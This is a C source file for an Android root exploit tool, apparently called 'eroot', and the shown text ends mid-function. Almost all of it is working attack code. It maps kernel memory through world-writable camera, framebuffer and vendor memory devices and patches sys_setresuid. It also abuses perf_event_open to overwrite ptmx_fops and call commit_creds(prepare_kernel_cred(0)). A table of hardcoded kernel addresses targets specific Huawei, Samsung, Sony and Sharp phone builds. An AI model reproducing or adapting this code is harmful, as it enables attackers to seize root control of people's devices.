
#include <android/log.h>
#include <jni.h>

#include <dlfcn.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <unistd.h>

#include "log.h"
#include "exploit.h"


typedef int (*property_get_t)(const char *, char *, const char *);
static property_get_t getprop;
typedef int (*socket_local_client_t)(const char *, int, int);
static socket_local_client_t socket_local_client;

#define PERF_SWEVENT_MAX_FILE  980
#ifndef __NR_perf_event_open
#define __NR_SYSCALL_BASE      0
#define __NR_perf_event_open   (__NR_SYSCALL_BASE + 364)
#endif

typedef struct {
    unsigned long pgprot;
} pgprot_t;

struct file;
struct anon_vma;
struct vm_operations_struct;
struct cred;
struct task_struct;

struct list_head {
    struct list_head *next, *prev;
};

struct rb_node
{
        unsigned long  rb_parent_color;
#define RB_RED          0
#define RB_BLACK        1
        struct rb_node *rb_right;
        struct rb_node *rb_left;
} __attribute__((aligned(sizeof(long))));

struct raw_prio_tree_node {
    struct prio_tree_node   *left;
    struct prio_tree_node   *right;
    struct prio_tree_node   *parent;
};

struct vm_area_struct {
    void *vm_mm;
    unsigned long vm_start, vm_end;
    void *vm_next, *vm_prev;
    pgprot_t vm_page_prot;
    unsigned long vm_flags;
    struct rb_node vm_rb;
    union {
        struct {
            struct list_head list;
            void *parent;
            struct vm_area_struct *head;
        } vm_set;
        struct raw_prio_tree_node prio_tree_node;
    } shared;
    struct list_head anon_vma_chain;
    struct anon_vma *anon_vma;
    const struct vm_operations_struct *vm_ops;
    unsigned long vm_pgoff;
    struct file *vm_file;
    void *vm_private_data;
    // ...
};

typedef struct cred* (*prepare_kernel_cred_t)(struct task_struct *);
typedef int (*commit_creds_t)(struct cred *);

static prepare_kernel_cred_t prepare_kernel_cred = 0;
static commit_creds_t commit_creds = 0;

// R0-R4, stack
static int fake_op(int arg1, int arg2, int arg3, int arg4, int arg5, int arg6) {
    if (prepare_kernel_cred && commit_creds)
        return commit_creds(prepare_kernel_cred(0));
    return -EAGAIN;
}

static void memsave(const char *f, const void *addr, int size) {
    int fd, n, c, rc;
   
    LOGV("memsave: file = %s, size = %08x", f, size);
    fd = open(f, O_CREAT | O_WRONLY);
    if (fd < 0) {
        LOGV("open() failed: %s.", strerror(errno));
        return;
    }
    n = 0;
    while (n < size) {
        c = size - n;
        if (c > 65536) c = 65536;
        rc = write(fd, (char *) addr + n, size - n);
        if (rc <= 0) break;
        n += rc;
        LOGV("memsave: write %08x.", rc);
    }
    if (n != size)
        LOGV("write() failed: %s.", strerror(errno));
    close(fd);
}

#define MSM_CAM_IOCTL_MAGIC 'm'

struct msm_mem_map_info {
    uint32_t cookie;
    uint32_t length;
    uint32_t mem_type;
};

#define MSM_CAM_IOCTL_SET_MEM_MAP_INFO \
        _IOR(MSM_CAM_IOCTL_MAGIC, 41, struct msm_mem_map_info *)

#define MSM_MEM_MMAP 0

#define V4L2_BUF_TYPE_VIDEO_CAPTURE     1
#define V4L2_BUF_TYPE_VIDEO_OUTPUT      2
#define V4L2_MEMORY_USERPTR             2
#define VIDIOC_G_FMT                    0xC0CC5604
#define VIDIOC_REQBUFS                  0xC0145608
#define VIDIOC_S_CTRL                   0xC008561C
#define V4L2_CID_DST_INFO               0x800000A

struct v4l2_format {
    union {
        int type;
        char reserved[200];
    } u;
};

struct v4l2_requestbuffers {
    uint32_t count;
    uint32_t type;
    uint32_t memory;
    uint32_t reserved[2];
};

struct v4l2_control {
    uint32_t id;
    int32_t value;
};

struct fimc_buf {
    uint32_t base[3];
    size_t length[3];
};

#define S3CFB_SET_WIN_ADDR _IOW('F', 308, unsigned long)

struct eroot_ctx {
    void *opaque;
    int argc;
    char **argv;
    char model[128];
    char buildid[128];
    unsigned long kernel_text_addr;
    unsigned long kernel_text_size;
    void *mapped_data;
    unsigned long mapped_offset;
    unsigned long mapped_size;
    int proc_kallsyms_fixed;
    unsigned long kernel_text_va;
    unsigned long target_va;
    unsigned long *patched_va;
};

struct eroot_preset_data {
    // shared
    char *model;
    char *buildid;
    unsigned long kernel_text_addr;
    unsigned long kernel_text_size;
    // needed by perf swevent exploit
    unsigned long perf_swevent_enabled;
    unsigned long prepare_kernel_cred;
    unsigned long commit_creds;
    unsigned long target_fops;
    unsigned long target_fops_off;
    int (*target_op)(struct eroot_ctx *);
    // and more
};

static int ptmx_op(struct eroot_ctx *);
static int smd7_op(struct eroot_ctx *);

struct eroot_preset_data preset[] = {
    {"HUAWEI C8813", "C8813V100R001C92B169", 
     0, 0,
     0xc0ad9eb4, 0xc00bcf8c, 0xc00bcbc4, 0xc0ae59e0, 0x38, ptmx_op},
    {"SH-06E", "01.00.01",
     0x80200000, 0x02000000,
     0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00, 0},
    {"SH-02E", "02.00.02",
     0x80200000, 0x02000000,
     0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00, 0},
    {"GT-N7100", "JZO54K.N7100XXDMC3",
     0, 0,
     0x00000000, 0xc00c6c6c, 0xc00c6470, 0xc0b8e3c4, 0x38, ptmx_op},
    {"LT26i", "6.2.B.0.200",
     0, 0,
     0xc0caf3b4, 0xc00b19c8, 0xc00b14ec, 0x00000000, 0x00, 0},
    {"LT26ii", "6.2.B.0.200",
     0, 0,
     0xc0caf3b4, 0xc00b19c8, 0xc00b14ec, 0x00000000, 0x00, 0},
    {"LT26w", "6.2.B.0.200",
     0, 0,
     0xc0cafa74, 0xc00b261c, 0xc00b2140, 0xc0ba45cc, 0x04, smd7_op},
    {0, 0,
     0, 0,
     0, 0, 0, 0, 0}
};

struct eroot_service_req {
    uint16_t size;
    uint16_t operation;
    char data[1];
};

struct eroot_service_open_remote_req {
    uint16_t mode;
    char file[1];
};

static int open_remote(const char *name, int mode) {
    int rc, fd, size, n, ret, *data;
    char *tmp;
    struct eroot_service_req *req;
    struct eroot_service_open_remote_req *param;
    struct msghdr msg;
    struct iovec iv;
    struct cmsghdr cmsg[512], *pcmsg;

    if (!name || (mode != O_RDONLY && mode != O_WRONLY && mode != O_RDWR))
        return -1;
    if (!socket_local_client) {
        return -1;
    }
    fd = socket_local_client("eroot", 0, SOCK_STREAM);
    if (fd < 0) {
        return -1;
    }
    size = strlen(name) + 6;
    tmp = (char *) malloc(size);
    if (!tmp) {
        close(fd);
        return -1;
    }
    req = (struct eroot_service_req *) tmp;
    req->size = size - 4;
    req->operation = 0;
    param = (struct eroot_service_open_remote_req *) req->data;
    param->mode = mode;
    memcpy(param->file, name, size - 6);
    // sendmsg
    n = 0;
    while (size > 0) {
        memset(&msg, 0, sizeof(msg));
        memset(&iv, 0, sizeof(iv));
        iv.iov_base = tmp + n;
        iv.iov_len = size - n;
        msg.msg_iov = &iv;
        msg.msg_iovlen = 1;
        do {
            rc = sendmsg(fd, &msg, MSG_NOSIGNAL);
        } while (rc < 0 && errno == EINTR);
        if (rc < 0) break;
        n += rc;
        size -= rc;
    }
    if (size) {
        free(tmp);
        close(fd);
        return -1;
    }
    // recvmsg
    memset(&msg, 0, sizeof(msg));
    memset(&iv, 0, sizeof(iv));
    iv.iov_base = tmp;
    iv.iov_len = n;
    msg.msg_iov = &iv;
    msg.msg_iovlen = 1;
    msg.msg_control = cmsg;
    msg.msg_controllen = sizeof(cmsg);
    do {
        rc = recvmsg(fd, &msg, MSG_NOSIGNAL);
    } while (rc < 0 && errno == EINTR);
    if (rc < 0 ||
        (msg.msg_flags & (MSG_CTRUNC | MSG_OOB | MSG_ERRQUEUE))) {
        LOGV(" sendmsg() failed: %s.", strerror(errno));
        free(tmp);
        close(fd);
        return -1;
    }
    free(tmp);
    ret = -1;
    for (pcmsg = CMSG_FIRSTHDR(&msg); pcmsg; pcmsg = CMSG_NXTHDR(&msg, pcmsg)) {
        if (pcmsg->cmsg_level != SOL_SOCKET)
            continue;
        if (pcmsg->cmsg_type == SCM_RIGHTS) {
            data = (int *) CMSG_DATA(pcmsg);
            ret = *data;
        }
    }
    close(fd);
    return ret;
}

static int open_generic(const char *file, int mode) {
    int fd;

    fd = open(file, mode);
    if (fd < 0)
        return open_remote(file, mode);
}

static int ptmx_op(struct eroot_ctx *ctx) {
    int fd, rc;

    fd = open("/dev/ptmx", O_RDONLY);
    if (fd < 0) return -1;
    rc = fsync(fd);
    close(fd);
    return rc == 0 ? 0 : -1;
}

static int smd7_op(struct eroot_ctx *ctx) {
    int fd, rc;
    char x[4];

    fd = open_generic("/dev/smd7", O_RDWR);
    if (fd < 0) return -1;
    rc = write(fd, x, sizeof(x));
    close(fd);
    return rc == 0 ? 0 : -1;
}


static int generic_prepare_mmap(struct eroot_ctx *ctx, int fd) {
    void *mapped;
    unsigned long ps, mapped_offset, mapped_size;

    ps = sysconf(_SC_PAGESIZE);
    // non-overflow
    mapped_offset = ctx->kernel_text_addr &( ~(ps - 1));
    mapped_size = ((ctx->kernel_text_addr + ctx->kernel_text_size) | (ps - 1)) + 1 - mapped_offset;
    LOGV("%x %x", mapped_offset, mapped_size);
    mapped = mmap(0, mapped_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, mapped_offset);
    if (mapped != MAP_FAILED) {
        ctx->mapped_offset = mapped_offset;
        ctx->mapped_size = mapped_size;
        ctx->mapped_data = mapped;
        return 0;
    }
    // overflow
    if (ctx->kernel_text_addr + ctx->kernel_text_size <= ~(ps - 1)) {
        mapped_offset = ~(ps - 1);
        mapped_size = ((ctx->kernel_text_addr + ctx->kernel_text_size) | (ps - 1)) + 1;
        mapped = mmap(0, mapped_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, mapped_offset);
        if (mapped != MAP_FAILED) {
            ctx->mapped_offset = mapped_offset;
            ctx->mapped_size = mapped_size;
            ctx->mapped_data = mapped;
            return 0;
        }
    }
    return -1;
}

//static int generic_exploit_uevent_helper(struct eroot_ctx *ctx) {
//    int fd, n, l;
//
//    if (ctx->argc < 1) return -1;
//    if (ctx->argc == 1) return 0;
//    fd = open("/sys/kernel/uevent_helper", O_RDWR);
//    if (fd < 0) return -1;
//    l = strlen(ctx->argv[1]);
//    n = write(fd, ctx->argv[1], l);
//    close(fd);
//    if (n == l) {
//        LOGV(" set uevent_helper to `%s'.", ctx->argv[1]);
//        return 0;
//    }
//    return -1;
//}

/**
 * 通过/proc/iomem去找内核区域起点和长度
 * 存于ctx->kernel_text_addr / ctx->kernel_text_size
 *
 * 成功返回0
 *
 * */
static int generic_gather(struct eroot_ctx *ctx) {
    int rc, exp;
    char buffer[1024], saved[1024];
    FILE *fp;
    unsigned long addr1, addr2, tmp;
    char *l;
    struct eroot_preset_data *d;

    for (d = &preset[0]; d->model; d++) {
        if (!strcmp(ctx->model, d->model) && !strcmp(ctx->buildid, d->buildid))
            break;
    }
    if (d->model) {
        ctx->kernel_text_addr = d->kernel_text_addr;
        ctx->kernel_text_size = d->kernel_text_size;
    }
    rc = ctx->kernel_text_addr && ctx->kernel_text_size ? 0 : -1;
    exp = 0;
    fp = fopen("/proc/iomem", "r");
    if (!fp) return rc;
    while (!feof(fp)) {
        l = fgets(buffer, sizeof(buffer), fp);
        if (!l) break;
retry:
        if (exp == 0){
            if (strstr(buffer, "System RAM")) {
                memcpy(saved, buffer, sizeof(saved));
                exp = 1;
            }
            continue;
        }
        if (exp == 1) {
            if (!strstr(buffer, "Kernel code") && !strstr(buffer, "Kernel text")) {
                exp = 0;
                goto retry;
            }
            if (sscanf(saved, "%08x", &addr1) != 1)
                continue;
            if (sscanf(buffer, "%08x-%08x", &tmp, &addr2) != 2)
                continue;
            ctx->kernel_text_addr = addr1;
            ctx->kernel_text_size = addr2 - addr1;
            rc = 0;
            break;
        }
    }
    fclose(fp);
    return rc;
}

static int generic_cleanup(struct eroot_ctx *ctx) {
    if (ctx->mapped_data) {
        munmap(ctx->mapped_data, ctx->mapped_size);
        ctx->mapped_data = 0;
        ctx->mapped_offset = 0;
        ctx->mapped_size = 0;
    }
    return 0;
}

static int generic_exploit_mmap(struct eroot_ctx *ctx) {
    int rc, i;
    unsigned long *p, offset, addr, size, *patched;

    LOGV("exploiting...");
    addr = (unsigned long) ctx->mapped_data;
    size = ctx->mapped_size;
    if (addr & 3) {
        LOGV(" %08x is not aligned with 4", addr);
        return -1;
    }
    if (ctx->mapped_offset > ctx->kernel_text_addr) {
        offset = ~ctx->mapped_offset + 1;
        offset += ctx->kernel_text_addr;
        addr += offset;
        size -= offset;
    }
    // load kallsymbols directly from memory
    // TODO: most of the cases has kernel text starting from C0008000/80008000
    LOGV(" dealing with /proc/kallsyms...");
    // obtain sys_set_resuid from /proc/kallsyms, step #1
    if (!ctx->proc_kallsyms_fixed &&
        (!ctx->kernel_text_va || !ctx->target_va || !ctx->patched_va)) {
        rc = -1;
        patched = 0;
        for (i = 0; i < size - 12; i += 4) {
            p = (unsigned long *)(addr + i);
            if (*p == 0x204b7025 &&
                *(p + 1) == 0x25206325 &&
                (*(p + 2) & 0xffff) == 0x00000a73) {
                *p = 0x20207025;
                rc = 0;
                patched = p;
                break;
            }
            if ((*p >> 16) == 0x00007025 &&
                *(p + 1) == 0x6325204b &&
                *(p + 2) == 0x0a732520) {
                *(p + 1) = 0x63252020;
                rc = 0;
                patched = p + 1;
                break;
            }
            if ((*p >> 8) == 0x004b7025 &&
                *(p + 1) == 0x20632520 &&
                (*(p + 2) >> 8) == 0x000a7325) {
                *p = (*p & 0xff00ffff) | 0x00200000;
                rc = 0;
                patched = p;
                break;
            }
        }
        if (!rc) {
            msync(patched, 4, MS_SYNC);
            ctx->proc_kallsyms_fixed = -1;
            LOGV("  fixed.");
        } else {
            LOGV("  not fixing.");
        }
    }
    // obtain sys_setresuid from /proc/kallsyms, step #2
    LOGV(" loading symbols from /proc/kallsyms...");
    if (!ctx->kernel_text_va || !ctx->target_va || !ctx->patched_va) {
        FILE *fp;
        char buffer[1024], *l, tmp[1024], type;
        unsigned long va, kva, tva;

        kva = 0;
        tva = 0;
        fp = fopen("/proc/kallsyms", "r");
        if (!fp) {
            LOGV("  failed to open %s.", "/proc/kallsyms");
            return -1;
        }
        while (!feof(fp)) {
            l = fgets(buffer, sizeof(buffer), fp);
            if (!l) break;
            if (sscanf(buffer, "%08x %c %s", &va, &type, tmp) != 3)
                continue;
            if (!kva) {
                if (!strcmp("stext", tmp)) {
                    kva = va;
                } else if (!strcmp("_stext", tmp)) {
                    kva = va;
                } else if (!strcmp("__init_begin", tmp)) {
                    kva = va;
                }
            }
            if (!tva) {
                if (!strcmp("sys_setresuid", tmp)) {
                    tva = va;
                }            
            }
            if (kva && tva) break;
        }
        fclose(fp);
        if (!kva || !tva) {
            LOGV("  failed to locate sys_setresuid().");
            return -1;
        }
        ctx->kernel_text_va = kva;
        ctx->target_va = tva;
        LOGV("  text = %08x", kva);
        LOGV("  set_sysresuid = %08x", tva);
    }
    LOGV(" patching kernel...");
    if (!ctx->patched_va) {
        offset = 0;
        offset += (ctx->target_va - (ctx->kernel_text_va & 0xffff0000));
        offset &= ~3;
        patched = 0;
        for (i = 0; i < 512; i += 4) {
            p = (unsigned long *)((char *) addr + offset + i);
            if (*p == 0xe3500000 || *p == 0xe3500001) {
                patched = p;
                break;
            }
        }
        if (!patched) {
            LOGV("  failed to patch sys_setresuid().");
            return -1;
        }
        ctx->patched_va = patched;
    }
    patched = ctx->patched_va;
    // change kernel logic
    if (*patched == 0xe3500000) {
        *patched = 0xe3500001;
        msync(patched, 4, MS_SYNC);
        LOGV("  patched.");
    } else {
        LOGV("  not patching.");
    }
    // make a SUID shell
    LOGV(" running user program as root...");
    rc = setresuid(0, 0, 0);
    if (rc < 0) {
        exit(rc);
    }
    rc = getuid();
    LOGV(" exited with statusx-3 %d.", rc);
    //rc = process_command_line(ctx->argc, ctx->argv);
    rc = 0;
    // restore kernel logic
    LOGV(" restoring kernel...");
    if (*patched == 0xe3500001) {
        *patched = 0xe3500000;
        msync(patched, 4, MS_SYNC);
        LOGV("  restored.");
    } else {
        LOGV("  not restoring.");
    }

    return rc;
}

struct eroot_msm_camera_private {
    int fd_conf;
    int fd_video0;
};

static int msm_camera_prepare(struct eroot_ctx *ctx) {
    int rc, fd_conf, fd_video0;
    struct eroot_msm_camera_private *p;
    struct msm_mem_map_info args;

    p = (struct eroot_msm_camera_private *) malloc(sizeof(struct eroot_msm_camera_private));
    if (!p) return -1;
    fd_video0 = open_generic("/dev/video0", O_RDWR);
    if (fd_video0 < 0) {
        free(p);
        return -1;
    }
    fd_conf = open_generic("/dev/msm_camera/config0", O_RDWR);
    if (fd_conf < 0) {
        close(fd_video0);
        free(p);
        return -1;
    }
    args.cookie = ctx->kernel_text_addr;
    args.length = ctx->mapped_size;
    args.mem_type = MSM_MEM_MMAP;
    rc = ioctl(fd_conf, MSM_CAM_IOCTL_SET_MEM_MAP_INFO, &args);
    if (rc < 0) {
        close(fd_conf);
        close(fd_video0);
        free(p);
        return -1;
    }
    p->fd_conf = fd_conf;
    p->fd_video0 = fd_video0;
    ctx->opaque = p;
    return generic_prepare_mmap(ctx, fd_conf);
}

static int msm_camera_cleanup(struct eroot_ctx *ctx) {
    struct eroot_msm_camera_private *p;

    generic_cleanup(ctx);
    p = (struct eroot_msm_camera_private *) ctx->opaque;
    if (p) {
        close(p->fd_conf);
        close(p->fd_video0);
        free(p);
        ctx->opaque = 0;
    }
    return 0;
}

struct eroot_hisi_private {
    int fd;
};

static int hisi_prepare(struct eroot_ctx *ctx) {
    int i, fd, rc;
    struct eroot_hisi_private *p;
    char *device[] = {
        "/dev/memalloc",    // 666
        "/dev/hx170dec",    // 666
        "/dev/hx280enc",    // 666
        "/dev/camera_pmem",
        "/dev/overlay_pmem",
        "/dev/gralloc_pmem",
        NULL,
    };

    p = (struct eroot_hisi_private *) malloc(sizeof(struct eroot_hisi_private));
    if (!p)
        return -1;
    for (i = 0; device[i]; i++) {
        fd = open_generic(device[i], O_RDWR);
        if (!(fd < 0)) {
            rc = generic_prepare_mmap(ctx, fd);
            if (rc < 0) {
                close(fd);
                continue;
            }
            LOGV("dev = %s", device[i]);
            p->fd = fd;
            ctx->opaque = p;
            return 0;
        } else {
        }
    }
    free(p);
    ctx->opaque = 0;
    return -1;
}

static int hisi_cleanup(struct eroot_ctx *ctx) {
    struct eroot_hisi_private *p;

    generic_cleanup(ctx);
    p = (struct eroot_hisi_private *) ctx->opaque;
    if (p) {
        if (p->fd) close(p->fd);
        free(p);
        ctx->opaque = 0;
    }

    return 0;
}

struct eroot_mtk_private {
    int fd;
};

static int mtk_prepare(struct eroot_ctx *ctx) {
    int i, fd, rc;
    struct eroot_mtk_private *p;
    char *device[] = {
        "/dev/camera-sysram",       // 666
        "/dev/camera-isp",          // 666
        "/dev/mt6573-SYSRAM",       // 666
        "/dev/mt6575-SYSRAM",       // 666
        "/dev/mt6575-isp",          // 666
        "/dev/camera-eis",          // 660
        "/dev/eac",                 // 660
        NULL
    };

    p = (struct eroot_mtk_private *) malloc(sizeof(struct eroot_mtk_private));
    if (!p) return -1;
    for (i = 0; device[i]; i++) {
        fd = open_generic(device[i], O_RDWR);
        if (!(fd < 0)) {
            rc = generic_prepare_mmap(ctx, fd);
            if (rc < 0) {
                close(fd);
                continue;
            }
            p->fd = fd;
            ctx->opaque = p;
            return 0;
        } else {
        }
    }
    free(p);
    ctx->opaque = 0;
    return -1;
}

static int mtk_cleanup(struct eroot_ctx *ctx) {
    struct eroot_mtk_private *p;

    generic_cleanup(ctx);
    p = (struct eroot_mtk_private *) ctx->opaque;
    if (p) {
        if (p->fd) close(p->fd);
        free(p);
        ctx->opaque = 0;
    }

    return 0;
}

struct eroot_samsung_exynos_private {
    int fd;
};

static int samsung_exynos_prepare(struct eroot_ctx *ctx) {
    int i, fd, rc;
    struct eroot_samsung_exynos_private *p;
    char *device[] = {
        "/dev/exynos-mem",       // 666
        "/dev/s5p-smem",         // 666
        NULL
    };

    p = (struct eroot_samsung_exynos_private *) malloc(sizeof(struct eroot_samsung_exynos_private));
    if (!p) return -1;
    for (i = 0; device[i]; i++) {
        fd = open_generic(device[i], O_RDWR);
        if (!(fd < 0)) {
            rc = generic_prepare_mmap(ctx, fd);
            if (rc < 0) {
                close(fd);
                continue;
            }
            p->fd = fd;
            ctx->opaque = p;
            return 0;
        } else {
        }
    }
    free(p);
    ctx->opaque = 0;
    return -1;
}

static int samsung_exynos_cleanup(struct eroot_ctx *ctx) {
    struct eroot_samsung_exynos_private *p;

    generic_cleanup(ctx);
    p = (struct eroot_samsung_exynos_private *) ctx->opaque;
    if (p) {
        if (p->fd) close(p->fd);
        free(p);
        ctx->opaque = 0;
    }

    return 0;
}

struct eroot_omap3_dsp_bridge_private {
    int fd;
};

static int omap3_dsp_bridge_prepare(struct eroot_ctx *ctx) {
    int i, fd, rc;
    struct eroot_omap3_dsp_bridge_private *p;
    char *device[] = {
        "/dev/DspBridge",
        NULL
    };

    p = (struct eroot_omap3_dsp_bridge_private *) malloc(sizeof(struct eroot_omap3_dsp_bridge_private));
    if (!p) return -1;
    for (i = 0; device[i]; i++) {
        fd = open_generic(device[i], O_RDWR);
        if (!(fd < 0)) {
            rc = generic_prepare_mmap(ctx, fd);
            if (rc < 0) {
                close(fd);
                continue;
            }
            p->fd = fd;
            ctx->opaque = p;
            return 0;
        } else {
        }
    }
    free(p);
    ctx->opaque = 0;
    return -1;
}

static int omap3_dsp_bridge_cleanup(struct eroot_ctx *ctx) {
    struct eroot_omap3_dsp_bridge_private *p;

    generic_cleanup(ctx);
    p = (struct eroot_omap3_dsp_bridge_private *) ctx->opaque;
    if (p) {
        if (p->fd) close(p->fd);
        free(p);
        ctx->opaque = 0;
    }

    return 0;
}

struct eroot_samsung_v4l2_private {
    int fd;
};

static int samsung_v4l2_prepare(struct eroot_ctx *ctx) {
    int fd, rc;
    struct eroot_samsung_v4l2_private *p;
    struct v4l2_format vf;
    struct v4l2_requestbuffers vr;
    struct v4l2_control vc;
    struct fimc_buf config;

    p = (struct eroot_samsung_v4l2_private *) malloc(sizeof(struct eroot_samsung_v4l2_private));
    if (!p) return -1;
    fd = open_generic("/dev/video1", O_RDWR);
    if (fd < 0) {
        free(p);
        ctx->opaque = 0;
        return -1;
    }
    memset(&vf, 0, sizeof(vf));
    vf.u.type = V4L2_BUF_TYPE_VIDEO_OUTPUT;
    rc = ioctl(fd, VIDIOC_G_FMT, &vf);
    if (rc < 0) {
        close(fd);
        free(p);
        ctx->opaque = 0;
        return -1;
    }
    memset(&vf, 0, sizeof(vr));
    vr.count = 1;
    vr.type = V4L2_BUF_TYPE_VIDEO_OUTPUT;
    rc = ioctl(fd, VIDIOC_REQBUFS, &vr);
    if (rc < 0) {
        close(fd);
        free(p);
        ctx->opaque = 0;
        return -1;
    }
    memset(&vc, 0, sizeof(vc));
    vc.id = V4L2_CID_DST_INFO;
    vc.value = (int32_t) &config;
    memset(&config, 0, sizeof(config));
    config.base[0] = config.base[1] = config.base[2] = ctx->kernel_text_addr;
    config.length[0] = config.length[1] = config.length[2] = ctx->mapped_size;
    rc = ioctl(fd, VIDIOC_S_CTRL, &vc);
    if (rc < 0) {
        close(fd);
        free(p);
        ctx->opaque = 0;
        return -1;    
    }
    p->fd = fd;
    ctx->opaque = p;
    return generic_prepare_mmap(ctx, fd);
}

static int samsung_v4l2_cleanup(struct eroot_ctx *ctx) {
    struct eroot_samsung_v4l2_private *p;

    generic_cleanup(ctx);
    p = (struct eroot_samsung_v4l2_private *) ctx->opaque;
    if (p) {
        if (p->fd) close(p->fd);
        free(p);
        ctx->opaque = 0;
    }

    return 0;
}

struct eroot_samsung_fb_private {
    int fd;
};

static int samsung_fb_prepare(struct eroot_ctx *ctx) {
    int fd, rc;
    struct eroot_samsung_fb_private *p;

    p = (struct eroot_samsung_fb_private *) malloc(sizeof(struct eroot_samsung_fb_private));
    if (!p) return -1;
    fd = open_generic("/dev/graphics/fb5", O_RDWR);
    if (fd < 0) {
        free(p);
        ctx->opaque = 0;
        return -1;
    }
    rc = ioctl(fd, S3CFB_SET_WIN_ADDR, ctx->kernel_text_addr);
    if (rc < 0) {
        close(fd);
        free(p);
        ctx->opaque = 0;
        return -1;
    }
    p->fd = fd;
    ctx->opaque = p;
    return generic_prepare_mmap(ctx, fd);
}

static int samsung_fb_cleanup(struct eroot_ctx *ctx) {
    struct eroot_samsung_fb_private *p;

    generic_cleanup(ctx);
    p = (struct eroot_samsung_fb_private *) ctx->opaque;
    if (p) {
        if (p->fd) close(p->fd);
        free(p);
        ctx->opaque = 0;
    }

    return 0;
}

struct eroot_yaranaika_private {
    int fd;
};

static int yaranaika_prepare_recursive(struct eroot_ctx *ctx, struct eroot_yaranaika_private *p, const char *dir, int depth) {
    DIR *d;
    struct dirent *item;
    struct stat fs;
    char path[260];
    int fd, rc;

    if (depth > 1) return 1;
    d = opendir(dir);
    if (!d) {
        return -1;
    }
    while ((item = readdir(d)) != 0) {
        if (item->d_name[0] == '.') continue;
        snprintf(path, sizeof(path), "%s/%s", dir, item->d_name);
        rc = stat(path, &fs);
        if (rc < 0) continue;
        if (S_ISLNK(fs.st_mode)) continue;
        if (S_ISDIR(fs.st_mode)) {
            rc = yaranaika_prepare_recursive(ctx, p, path, depth + 1);
            if (rc == 0) {
                closedir(d);
                return 0;
            }
        }
        if (!strcmp(path, "/dev/zero")) continue;
        fd = open_generic(path, O_RDWR);
        if (fd < 0) continue;
        LOGV(" %s", path);
        rc = generic_prepare_mmap(ctx, fd);
        if (rc < 0) {
            close(fd);
            continue;
        }
        rc = generic_exploit_mmap(ctx);
        if (rc < 0) {
            close(fd);
            continue;
        }
        p->fd = fd;
        ctx->opaque = p;
        return 0;
    }
    closedir(d);

    return 1;
}

static int yaranaika_prepare(struct eroot_ctx *ctx) {
    struct eroot_yaranaika_private *p;
    int rc;

    p = (struct eroot_yaranaika_private *) malloc(sizeof(struct eroot_yaranaika_private));
    if (!p) return -1;
    rc = yaranaika_prepare_recursive(ctx, p, "/dev", 0);
    if (rc < 0) {
        free(p);
        ctx->opaque = 0;
        return -1;
    }
    return rc == 0 ? 0 : -1;
}

static int yaranaika_cleanup(struct eroot_ctx *ctx) {
    struct eroot_yaranaika_private *p;

    generic_cleanup(ctx);
    p = (struct eroot_yaranaika_private *) ctx->opaque;
    if (p) {
        if (p->fd) close(p->fd);
        free(p);
        ctx->opaque = 0;
    }

    return 0;
}

struct eroot_perf_private {
    int fd;
    struct eroot_preset_data preset;
    int n;
    pid_t *pids;
    int *rfds;
    void *mapped;
    void *low_addr;
    int low_size;
};

static int perf_event_open(uint32_t offset) {
    uint64_t args[10] = { 0x4800000001, offset, 0, 0, 0, 0x300 };
    int fd;

    fd = syscall(__NR_perf_event_open, args, 0, -1, -1, 0);
    return fd;
}

static int perf_event_abuse(unsigned long magic, unsigned long addr, int count, pid_t *pid, int *fd) {
    int rc, offset, i;
    int p[2];
    char tmp[32];
    pid_t proc;
    
    if (magic & 3) return -1;
    if (addr & 3) return -1;
    if (pipe(p) < 0) return -1;
    proc = fork();
    if (proc < 0) return -1;
    else if (proc == 0) {
        close(p[0]);
        dup2(p[1], 1);
        // sizeof(struct jump_label_key) == 4
        offset = (int)(addr - magic) / 4;
        offset |= 0x80000000;
        for (i = 0; i < count; i++) {
            rc = perf_event_open(offset);
            if (rc < 0) break;
        }
        memset(tmp, 0, sizeof(tmp));
        sprintf(tmp, "%d", i);
        write(1, tmp, sizeof(tmp));
        for (;;)
            sleep(1);
    } else {
        close(p[1]);
        *pid = proc;
        *fd = p[0];
    }
    return 0;
}

static int perf_prepare_gather(struct eroot_ctx *ctx) {
    struct eroot_perf_private *p;
    struct eroot_preset_data *d;
    int n;
    unsigned long value;
    FILE *fp;
    char line[1024], symbol[1024], type;

    p = (struct eroot_perf_private *) calloc(1, sizeof(struct eroot_perf_private));
    if (!p) return -1;
    // resolve symbol from kallsyms
    fp = fopen("/proc/kallsyms", "r");
    if (fp) {
        while (!feof(fp)) {
            fgets(line, sizeof(line), fp);
            n = sscanf(line, "%08x %c %s", &value, &type, symbol);
            if (n != 3) continue;
            if (!p->preset.perf_swevent_enabled && !strncmp(symbol, "perf_swevent_enabled", 20))
                p->preset.perf_swevent_enabled = value;
            if (!p->preset.target_fops && !strncmp(symbol, "ptmx_fops", 9)) {
                p->preset.target_fops = value;
                p->preset.target_fops_off = 0x38;
                p->preset.target_op = ptmx_op;
            }
            if (!prepare_kernel_cred && !strncmp(symbol, "prepare_kernel_cred", 19))
                prepare_kernel_cred = (prepare_kernel_cred_t) value;
            if (!commit_creds && !strncmp(symbol, "commit_creds", 12))
                commit_creds = (commit_creds_t) value;
            if (p->preset.perf_swevent_enabled && 
                p->preset.target_fops &&
                prepare_kernel_cred &&
                commit_creds
                ) break;
        }
        fclose(fp);
    }
    // look into preset
    if (!prepare_kernel_cred ||
        !commit_creds ||
        !p->preset.perf_swevent_enabled ||
        !p->preset.target_fops
        ) {
        for (d = &preset[0]; d->model; d++) {
            if (!strcmp(ctx->model, d->model) && !strcmp(ctx->buildid, d->buildid))
                break;
        }
        if (d->model) {
            if (!p->preset.perf_swevent_enabled)
                p->preset.perf_swevent_enabled = d->perf_swevent_enabled;
            if (!p->preset.target_fops) {
                p->preset.target_fops = d->target_fops;
                p->preset.target_fops_off = d->target_fops_off;
                p->preset.target_op = d->target_op;
            }
            if (!prepare_kernel_cred)
                prepare_kernel_cred = (prepare_kernel_cred_t) d->prepare_kernel_cred;
            if (!commit_creds)
                commit_creds = (commit_creds_t) d->commit_creds;
        }
    }
    ctx->opaque = p;
    return 0;
}

static int perf_prepare_write(struct eroot_perf_private *p, unsigned long address, unsigned long value) {
    int rc, i;
